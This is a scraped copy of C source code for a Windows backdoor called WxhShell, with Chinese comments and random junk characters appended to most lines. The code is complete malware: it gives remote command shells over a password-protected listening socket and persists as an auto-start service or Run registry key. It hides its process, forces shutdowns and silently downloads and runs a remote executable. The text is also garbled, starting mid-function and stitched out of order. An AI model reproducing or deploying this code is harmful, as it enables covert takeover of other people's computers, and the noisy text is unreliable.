    closesocket(wsh); ( Lj{V}^  
    ExitThread(0); `@GqD  
    } >cwyb9;!kK  
    break; Z09FW>"u  
    } K/RQ-xd4  
  // 关机 jvx9b([<sG  
  case 'd': { J6x\_]1:*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 216+ tX5Z  
    if(Boot(SHUTDOWN)) 8r[ZGUV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 -)'a} O  
    else { T1zft#1~  
    closesocket(wsh); Ta#vD_QP  
    ExitThread(0); u#5/s8  
    } FFXDt"i2  
    break; .0]4@'  
    } d_9Fc" C~  
  // 获取shell Hj ]$  
  case 's': { PoMkFG6  
    CmdShell(wsh); /x.TF'Z*  
    closesocket(wsh); Q,Tet&in )  
    ExitThread(0); ]2G5ng' @  
    break; <%eY>E  
  } `B+%W  
  // 退出 yu"Ii-9z  
  case 'x': { 0P`wh=")  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `mPmEV<  
    CloseIt(wsh); ^_4TDC~h  
    break; ~ZU;0#  
    } C("PCD   
  // 离开 uY0V!W  
  case 'q': { "^-U#f>k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R`=3lY;  
    closesocket(wsh); 3nuf3)  
    WSACleanup(); 5zJkPki  
    exit(1); ) Kfk\  
    break; <B6@q4Q  
        } ${'gyD  
  } D^Dm, -  
  } WujIaJt-  
rUfW0  
  // 提示信息 3{_AzL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3WyK!@{  
} j&E4|g (  
  } o D;  
,2S <#p!  
  return; /2^cty.BXw  
} 8)/i\=N3;  
GkMNV7"m  
// shell模块句柄 T#Pz_ hAu  
int CmdShell(SOCKET sock) 04tUf3 >  
{ AIsM:sV]  
STARTUPINFO si; 2'g< H-[  
ZeroMemory(&si,sizeof(si)); KsYT3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A/N*Nc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zO{$kT\r&  
PROCESS_INFORMATION ProcessInfo; )6)|PzMQ'  
char cmdline[]="cmd"; j)\&#g0u6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7'FDI`e[  
  return 0; X:-X3mV9{  
} S-Va_ t$  
/rp4m&!  
// 自身启动模式 C>cc!+n%H  
int StartFromService(void) R#~}ZUk2  
{ G B!3` A%&  
typedef struct 7HPLD&WPt  
{ &Pxt6M\d  
  DWORD ExitStatus; i=_leC)rl  
  DWORD PebBaseAddress; sb4)@/Q7j  
  DWORD AffinityMask; %u }|4BXoh  
  DWORD BasePriority; 322W"qduTZ  
  ULONG UniqueProcessId; (PGmA>BT  
  ULONG InheritedFromUniqueProcessId; T\c;Ra  
}   PROCESS_BASIC_INFORMATION; ?>MD/l(l  
DHpU?;|3  
PROCNTQSIP NtQueryInformationProcess; m6V1m0M  
5X&<+{bX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bir }X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R+]p -NI^  
%9M; MK  
  HANDLE             hProcess; D{o1G?A  
  PROCESS_BASIC_INFORMATION pbi; yP0P-8  
iM2 EEC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fEs957$  
  if(NULL == hInst ) return 0; `'Ta=kd3  
wI>JOV7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L:YsAv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1 hZM))  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y:4Sw#M%(  
;0E"4(S.q1  
  if (!NtQueryInformationProcess) return 0; fLI@;*hL0  
;KQ'/nII  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2BH>TmS  
  if(!hProcess) return 0; a2/r$Tgm  
9?D7"P+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s cR-|GuZ  
X1<)B]y  
  CloseHandle(hProcess); UTA0B&aB  
+lJuF/sS8m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 37p0*%a":  
if(hProcess==NULL) return 0; #BS]wj2#  
B0p>'O2  
HMODULE hMod; }#!o^B8  
char procName[255]; =)M8>>l  
unsigned long cbNeeded; -Kg@Sj/U}R  
'lC"wP&$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '5ky<  
XyS#6D  
  CloseHandle(hProcess); u4VQx,,  
H[@}ri<  
if(strstr(procName,"services")) return 1; // 以服务启动 R'dF<&Kj|  
3JW9G04.  
  return 0; // 注册表启动 fH`1dU  
} C*Ws6s>+z  
 p<*-B  
// 主模块 1)_f9GR  
int StartWxhshell(LPSTR lpCmdLine) TG?;o/  
{ :#TJ-l:#  
  SOCKET wsl; ,_NO[+5U  
BOOL val=TRUE; }"m@~kg=  
  int port=0; 'IfM~9'D  
  struct sockaddr_in door; WY 2b  
6./&l9{h+  
  if(wscfg.ws_autoins) Install(); o*p7/KvoT  
Xz]}cRQ[  
port=atoi(lpCmdLine); aS~k.^N  
6/4OFvL1  
if(port<=0) port=wscfg.ws_port; "vLqYc4$  
^Jnp\o>  
  WSADATA data; R2]?9\II  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jq6p5jr"  
W[^XG\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rp`}"x9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !YJdi~q  
  door.sin_family = AF_INET; AX'(xb,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }i[i{lKj  
  door.sin_port = htons(port); t ?bq ~!X  
/SMp`Q88  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S\0"G*  
closesocket(wsl); ULU ]k#  
return 1; #S<>+,Lk  
} }GkEv}~t  
=1yUH9\,b  
  if(listen(wsl,2) == INVALID_SOCKET) { BOwkC;Q[  
closesocket(wsl); ~Ag !wj  
return 1; ,?&hqM\  
} xmiF!R  
  Wxhshell(wsl); $6y1';A  
  WSACleanup(); fiw~"2U  
B|extWwu  
return 0; B/5C jHz  
ev8 E.ehD  
} @.0jC=!l  
W!tP sPM  
// 以NT服务方式启动 I5x/N.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g"T~)SQP  
{ ?Fi-,4  
DWORD   status = 0; @Wx_4LOhf  
  DWORD   specificError = 0xfffffff; _|A)ueY  
$~D`-+J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |qI_9#M\(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m7M*)N8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WX0@H[$i#  
  serviceStatus.dwWin32ExitCode     = 0; y~- ?   
  serviceStatus.dwServiceSpecificExitCode = 0; W 8E<P y  
  serviceStatus.dwCheckPoint       = 0; #mllVQ  
  serviceStatus.dwWaitHint       = 0; p~3CXmUc~  
k ,<L#?,a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xY!]eLZ)&  
  if (hServiceStatusHandle==0) return; a 3O_8GU  
~7~nU>Vv  
status = GetLastError(); i6X/`XW'  
  if (status!=NO_ERROR) MH !CzV&  
{ J=\Y4- "  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E0)v;yRcw  
    serviceStatus.dwCheckPoint       = 0; ie$=3nZJ}  
    serviceStatus.dwWaitHint       = 0; 8|d[45*q  
    serviceStatus.dwWin32ExitCode     = status; 4yBe(&N-d  
    serviceStatus.dwServiceSpecificExitCode = specificError; #e9B|Y?b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,%KB\;1mn'  
    return; |xf%1(Rl@  
  } tS!~> X  
gcv,]v 8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z&.FJZUP  
  serviceStatus.dwCheckPoint       = 0; *E$D,  
  serviceStatus.dwWaitHint       = 0; Zb9@U: \  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }(hE{((o  
} MnX2sX|  
5mFi)0={y  
// 处理NT服务事件,比如:启动、停止 :_e.ch:4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ax 3:rl  
{ l|&|+u#  
switch(fdwControl) o_5|L9  
{ 0 \h2&  
case SERVICE_CONTROL_STOP: Ft>ixn  
  serviceStatus.dwWin32ExitCode = 0; B' :ZX-Q)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P{}Oe *9"  
  serviceStatus.dwCheckPoint   = 0; 5:s]z#8)  
  serviceStatus.dwWaitHint     = 0; Pu9.Uwx  
  { XkK16aLE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &[Sw:{&*jv  
  } Ko%rB+d  
  return; qlgh$9  
case SERVICE_CONTROL_PAUSE: Uc6U!X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R/b=!<  
  break; 2#E;5UYu  
case SERVICE_CONTROL_CONTINUE: *=sU+x&X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1i>)@{P&BN  
  break; ;ib~c,  
case SERVICE_CONTROL_INTERROGATE: KK] >0QAY  
  break; d9^=#ot  
}; pixI&iQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' l!QGKz  
} lhjPS!A~  
|QzPY8B9O  
// 标准应用程序主函数 nB:Bw8U"Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) de`6%%|  
{ ZO;]Zt]  
v$mA7|(t!  
// 获取操作系统版本 ~cZ1=,P  
OsIsNt=GetOsVer(); 19=Dd#Nf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sV*Q8b*  
3; M!]9ms  
  // 从命令行安装 3$kZu  
  if(strpbrk(lpCmdLine,"iI")) Install(); &G"]v]V  
XSxya .1  
  // 下载执行文件 3 (}?f  
if(wscfg.ws_downexe) { A5/h*`Q\\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t)m4"p7  
  WinExec(wscfg.ws_filenam,SW_HIDE); /0\pPc*kA{  
}  (&gCVf  
u(~s$ENl  
if(!OsIsNt) { ,J~1~fg89  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]':C~-RV{  
HideProc(); (%r:PcGMEV  
StartWxhshell(lpCmdLine); u3<])}I'  
} Z6*RIdD>  
else -Kc-eU-&q  
  if(StartFromService()) |/(5GX,X  
  // 以服务方式启动 r;'!qwr  
  StartServiceCtrlDispatcher(DispatchTable); s=d?}.E$  
else j=gbUXv/  
  // 普通方式启动 },"g*  
  StartWxhshell(lpCmdLine); mb/3 #)  
O^<6`ku  
return 0; P9'5=e@jB  
} m2}&5vD8-  
*CG2sAeB  
Hv=coS>g:  
\.{JS>!  
=========================================== fSP~~YSeU  
~q4y'dBy*  
[6Wr t8"  
givK{Yt<B  
4-"wFp  
Xmnq ZWB  
" F?dTCa  
980+Y  
#include <stdio.h> ^*r${Nj  
#include <string.h> Oh^X^*I$@  
#include <windows.h> 8%NX)hZyq}  
#include <winsock2.h> q"cFw${  
#include <winsvc.h> |z4/4Y@  
#include <urlmon.h> E`s_Dr}K  
pQ/:*cd+M  
#pragma comment (lib, "Ws2_32.lib") L fi]s  
#pragma comment (lib, "urlmon.lib") }E=kfMu  
tyDtwV|  
#define MAX_USER   100 // 最大客户端连接数 9w(j2i q  
#define BUF_SOCK   200 // sock buffer K1hw' AaQ  
#define KEY_BUFF   255 // 输入 buffer OYzJE@r^  
QZfPd\Q5  
#define REBOOT     0   // 重启 mA."*)8VNg  
#define SHUTDOWN   1   // 关机 @Yg7F>s  
=#u2Rx%V  
#define DEF_PORT   5000 // 监听端口 lt*k(JD  
gPf aiVY  
#define REG_LEN     16   // 注册表键长度 :Hd<S   
#define SVC_LEN     80   // NT服务名长度 m<yA] ';s  
J8%|Gd0#4  
// 从dll定义API V.F 's(o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nFP2wvFM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P]TT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 01dx}L@hz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EvYw$ j  
<Kh\i'8  
// wxhshell配置信息 ZJ 4"QsF  
struct WSCFG { Y[H_?f=;%  
  int ws_port;         // 监听端口 .x x#>Y-\  
  char ws_passstr[REG_LEN]; // 口令 Cam}:'a/`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ke%zp-2c  
  char ws_regname[REG_LEN]; // 注册表键名 4/jY;YN,2  
  char ws_svcname[REG_LEN]; // 服务名 J!H5{7.efN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \w:u&6,0O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (kHR$8GFM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j@ "`!uPz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RpXQi*c0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l=oVC6C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SUEw5qitB  
7HJv4\K  
}; </%H'V@  
? vlGr5#  
// default Wxhshell configuration H>r-|*n  
struct WSCFG wscfg={DEF_PORT, Wf?sJ`.%b  
    "xuhuanlingzhe", U\[V !1O  
    1, 4A&e+kz&:R  
    "Wxhshell", 1Q%.-vs  
    "Wxhshell", gB"Tc[l1  
            "WxhShell Service", (H F,p,h_  
    "Wrsky Windows CmdShell Service", epL[PL}  
    "Please Input Your Password: ", xo%iL  
  1, PHXP1)^}S  
  "http://www.wrsky.com/wxhshell.exe", t2:c@)  
  "Wxhshell.exe" <d^7B9O?&w  
    }; yjO7/< 2  
w(U/(C7R  
// 消息定义模块 qh'BrYu*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VB#31T#q?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g-^m\>B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oD7H6\_  
char *msg_ws_ext="\n\rExit."; oL@ou{iQ  
char *msg_ws_end="\n\rQuit."; -7$'* V9$  
char *msg_ws_boot="\n\rReboot..."; {q)B@#p  
char *msg_ws_poff="\n\rShutdown..."; h=tu +pn  
char *msg_ws_down="\n\rSave to "; 16y$;kf8  
c-T ^ aR  
char *msg_ws_err="\n\rErr!"; L,Nr,QC-  
char *msg_ws_ok="\n\rOK!"; z|<oxF.  
=tNiIU  
char ExeFile[MAX_PATH]; Tc(R-Wi  
int nUser = 0; {XXNl)%  
HANDLE handles[MAX_USER]; S=g-&lK  
int OsIsNt; OgS8.wX  
$iPN5@F  
SERVICE_STATUS       serviceStatus; *\WI!%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PPPwDsJ  
FNM"!z  
// 函数声明 :U q]~e  
int Install(void); Mh|`XO.5I  
int Uninstall(void); w3N%J>4_E  
int DownloadFile(char *sURL, SOCKET wsh); DRoxw24  
int Boot(int flag); iq:[+  
void HideProc(void); 48Lmy<}*  
int GetOsVer(void); (3h*sd5ly  
int Wxhshell(SOCKET wsl); }Yl=lc vw  
void TalkWithClient(void *cs); % 4"~O _S  
int CmdShell(SOCKET sock); gL"}53A  
int StartFromService(void); `Cf en8  
int StartWxhshell(LPSTR lpCmdLine); Y/66`&,{  
e W)I}z +{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W~F/ZrT3A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a~7osRmp0  
1.H!A@  
// 数据结构和表定义 RG3G},Q   
SERVICE_TABLE_ENTRY DispatchTable[] = Q $0%~`t  
{ %m) h1/l  
{wscfg.ws_svcname, NTServiceMain}, )JQQ4D  
{NULL, NULL}  {Yk20Zn  
}; mv?H]i`N  
y7-:l u$9  
// 自我安装 J\+gd%  
int Install(void) b6Hk20+B;  
{ <M?#3&5A  
  char svExeFile[MAX_PATH]; mtQ{6u  
  HKEY key; $jm<' 4  
  strcpy(svExeFile,ExeFile); $-?5Q~  
}.cmiC  
// 如果是win9x系统,修改注册表设为自启动 Oc9>F\]_m  
if(!OsIsNt) { U_;J.{n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9sj W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8@KFln )[  
  RegCloseKey(key); SWsv,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mgs|*u-5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V8$bPVps  
  RegCloseKey(key); u2B W]T]  
  return 0; ,M&0<k\  
    } Ti|++oC/&  
  } h&M RQno  
} w00\1'-Kz  
else { F` 5/9?;|  
!#:$u=  
// 如果是NT以上系统,安装为系统服务  RhNaYO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); + 4g%?5'  
if (schSCManager!=0) @n X2*j*u  
{ d.j'0w"   
  SC_HANDLE schService = CreateService F]A~~P  
  ( r&3o~!  
  schSCManager, tW:/R@@  
  wscfg.ws_svcname, N8YBu/  
  wscfg.ws_svcdisp, j~S!!Z ]  
  SERVICE_ALL_ACCESS, KBRg95E~]l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;3}EB cw)  
  SERVICE_AUTO_START, H L|s pl(c  
  SERVICE_ERROR_NORMAL, 5%+bWI{w  
  svExeFile, pb6^sA%l  
  NULL, `vxrC&,As  
  NULL, kqvJ&7  
  NULL, P"uHtHK  
  NULL, 8H#c4%by)  
  NULL Owpg]p yVD  
  ); ,PMb9 O\B  
  if (schService!=0) B/D\gjb  
  { ,V]A63J  
  CloseServiceHandle(schService); RvSq KW8  
  CloseServiceHandle(schSCManager); VUC <0WV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ipz 1+ #s'  
  strcat(svExeFile,wscfg.ws_svcname); d6@jEa-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c`i=(D<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oUvk2]H  
  RegCloseKey(key); <%>n@A  
  return 0; 7{^4 x#NO  
    } XBQ<  
  } ;IuK2iDt<  
  CloseServiceHandle(schSCManager); y^QYl ZO  
} A]iv)C;]  
} k g,ys4  
hHc^ZA  
return 1; RQpIBsj  
} 2WPF{y%/  
i$JG^6,O  
// 自我卸载 a][pTC\rb  
int Uninstall(void) W-!Bl&jF[  
{ ;*-@OLT_K  
  HKEY key; mbX)'. +L  
E/7vIg F  
if(!OsIsNt) { qbU1qF/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j[/SXF\=  
  RegDeleteValue(key,wscfg.ws_regname); ]opW; |{e  
  RegCloseKey(key); !0OD(XT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [CDXCV-z  
  RegDeleteValue(key,wscfg.ws_regname); hX8gV~E=y  
  RegCloseKey(key); 1t[;`iZ  
  return 0; fATA%eA8;  
  } H6ky)kF&  
} HZDaV&)@  
} YQ @dl  
else { \)otu\3/  
uRm_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >'ksXA4b  
if (schSCManager!=0) Wj4^W<IO  
{ !2Xr~u7a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rv,NQZ  
  if (schService!=0) 6MQs \J6.  
  { 1<W4>~,wj  
  if(DeleteService(schService)!=0) { ,qe]fo >  
  CloseServiceHandle(schService); 5BU%%fBJ.  
  CloseServiceHandle(schSCManager); Ig02M_  
  return 0; =XMD+  
  } hJ;f1dZ7}  
  CloseServiceHandle(schService); s!@=rq  
  } {UdcX~\~  
  CloseServiceHandle(schSCManager); x&R9${e%  
} h0F0d^W.  
} CGd[3}"  
GJC!0{8;  
return 1; *(d6Z#  
} s%N`  
Mhv1K|4s  
// 从指定url下载文件 rL%]S&M9  
int DownloadFile(char *sURL, SOCKET wsh) >@)*S n9"  
{ HJfQ]p'nK2  
  HRESULT hr; V8sH{R-  
char seps[]= "/"; GUu\dl9WA'  
char *token; ~?AC:  
char *file; O t *K+^I  
char myURL[MAX_PATH]; ZDOF  
char myFILE[MAX_PATH]; 3$?9uMl#  
;|>q zx  
strcpy(myURL,sURL); 0i8[=  
  token=strtok(myURL,seps); !,Xyl} #  
  while(token!=NULL) | V.S.'  
  { xb =8t!  
    file=token; 5JBB+g  
  token=strtok(NULL,seps); >JKnGeF  
  } xvwD3.1  
),cQUB  
GetCurrentDirectory(MAX_PATH,myFILE); (s}Rj)V[^  
strcat(myFILE, "\\"); aF&r/j+}o  
strcat(myFILE, file); SON ^CvMs{  
  send(wsh,myFILE,strlen(myFILE),0); ; x:k-s2-  
send(wsh,"...",3,0); 6R1wn&8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ny12U;'s,  
  if(hr==S_OK) Sf  024  
return 0; eJU;*] xfH  
else .'t (-eT,  
return 1; 2BoFyL*  
bz, Da  
} O.@g/05C  
,wtFs!8  
// 系统电源模块 5^/,aI  
int Boot(int flag) E4sn[DO  
{ J)9 AnGWe  
  HANDLE hToken; "/ tUA\=j  
  TOKEN_PRIVILEGES tkp; wGEWr2$  
#4P8Rzl$/  
  if(OsIsNt) { )KSisEL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &$mZ?%^C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J[ e}  
    tkp.PrivilegeCount = 1; $|4cJ#;^L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !oZQ2z~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %04:z77  
if(flag==REBOOT) { i{o#3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [J a)<!]<  
  return 0; _1I K$gb[  
} @%6)^]m}r  
else { kQ@gO[hS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UZzNVIXA%  
  return 0; ]i-P-9PA4  
} ^I]LoG:  
  } P@qMJ}<j  
  else { 7~_{.f  
if(flag==REBOOT) { Yo>`h2C4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x&at^Fp  
  return 0; CQ@LmTW[  
} $Mdbt o~<  
else { LtC~)R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R<"2%oY  
  return 0; %tT"`%(+  
} Z;ZuS[ZA  
} T>d\%*Q+B  
C">`' G2  
return 1; hHcJN  
} P+[QI U  
TqIAWbb&  
// win9x进程隐藏模块 "gFxfWIA  
void HideProc(void) s(Z(e %  
{ YTQ5sFuGM  
j]r XoV>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /+>)"D6'  
  if ( hKernel != NULL ) ZTN(irK  
  { &|)hCJu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $j57LY|r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); js~tKUvg  
    FreeLibrary(hKernel); F"!agc2!  
  } \Ke8W,)ew  
yH*hL0mO  
return; ODm&&W#*  
} %B@ !  
>^dyQyK  
// 获取操作系统版本 $0_^=D EW  
int GetOsVer(void) &,J*_F<s2<  
{ Y=r!2u6r~  
  OSVERSIONINFO winfo; *RBV'b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (B@X[~  
  GetVersionEx(&winfo); )T9;6R$b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bG "H D?A_  
  return 1; " jT#bIm  
  else 1@xP(XS  
  return 0; Q8p=!K  
} m# JI!_~!  
C;9t">prk  
// 客户端句柄模块 ny)]GvxI  
int Wxhshell(SOCKET wsl) WE0}$P:  
{ t#Th9G]1  
  SOCKET wsh; te i`/  
  struct sockaddr_in client; qpI]R  
  DWORD myID; u#1%P5r&X  
]Kv q |}=  
  while(nUser<MAX_USER) k}GjD2m  
{ Y,C=@t@_  
  int nSize=sizeof(client); Q $]YD pCM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y,Jh@n';|  
  if(wsh==INVALID_SOCKET) return 1; k0L] R5W  
%Uy%kN_&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y(_KizBY  
if(handles[nUser]==0) P|N2R5(>T  
  closesocket(wsh); G8eD7%{b:)  
else z Ct\o  
  nUser++; ygN>"eP  
  } um7o!yg,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Bh("wg$Lk  
Ea-bC:>  
  return 0; 4jQ'+ 2it  
} b^x07lO  
/t*YDWLg  
// 关闭 socket `z9J`r= I  
void CloseIt(SOCKET wsh) #;]2=@  
{ :$?Q D  
closesocket(wsh); w d/G|kNO  
nUser--; 3Hw[s0[$  
ExitThread(0); ;FU|7L$H  
} }k7_'p&yk  
YGp)Oy}:  
// 客户端请求句柄 W m . }Zh  
void TalkWithClient(void *cs) }x:0os  
{ -p`L% xj\  
A?8\Y{FQ  
  SOCKET wsh=(SOCKET)cs; *t(4 $  
  char pwd[SVC_LEN]; wO7t!35  
  char cmd[KEY_BUFF]; 4/'N|c.  
char chr[1]; XV>@B $hu  
int i,j; Pz%~ST  
a[sKE?  
  while (nUser < MAX_USER) { h d2'AlB  
yzR=A%V8A  
if(wscfg.ws_passstr) { id?"PD"%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *)'Vvu<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [k$efwJ  
  //ZeroMemory(pwd,KEY_BUFF); oZN'H T  
      i=0; ?'eq",c#4N  
  while(i<SVC_LEN) { xr[Vp  
s9O2k}]  
  // 设置超时 >zs5s  
  fd_set FdRead; jAC78n,Fi@  
  struct timeval TimeOut; d]SYP  
  FD_ZERO(&FdRead);  Q=#I9-  
  FD_SET(wsh,&FdRead); 9pL g+6O  
  TimeOut.tv_sec=8; ~jN'J+_$  
  TimeOut.tv_usec=0; ~}'F887f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SJk>Jt=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A_R!uRD8-  
ys8Q.oBv_`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )&,{?$.  
  pwd=chr[0]; !:3.D,  
  if(chr[0]==0xd || chr[0]==0xa) { +&5' uAe  
  pwd=0; }Cj8  
  break; d(;4`kd*N  
  } D."=k{r.  
  i++; 19t{|w<  
    } z)-c#F@%  
W2]TRO  
  // 如果是非法用户,关闭 socket @0NJ{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  |yKud  
}  &;c>O  
 )h_8vO2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (dqCa[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =-#G8L%Q  
MsOs{2 )2  
while(1) { w5,Mb  
[sy j#  
  ZeroMemory(cmd,KEY_BUFF); 3^,QIG  
iPj~I  
      // 自动支持客户端 telnet标准   ^YlI>_3s  
  j=0; TQ ]dW  
  while(j<KEY_BUFF) { Z9K})47T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gb" 4B%Hm  
  cmd[j]=chr[0]; DHw<%Z-J  
  if(chr[0]==0xa || chr[0]==0xd) { W0I4Vvh_"  
  cmd[j]=0; 8)j@aiF`  
  break; eE(b4RCM  
  } skg|>R,kE  
  j++; n V&cC  
    } Bp?  
&7>zURv  
  // 下载文件 56}X/u  
  if(strstr(cmd,"http://")) { h8{(KRa6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B&0; 4  
  if(DownloadFile(cmd,wsh)) =&nW~<- v  
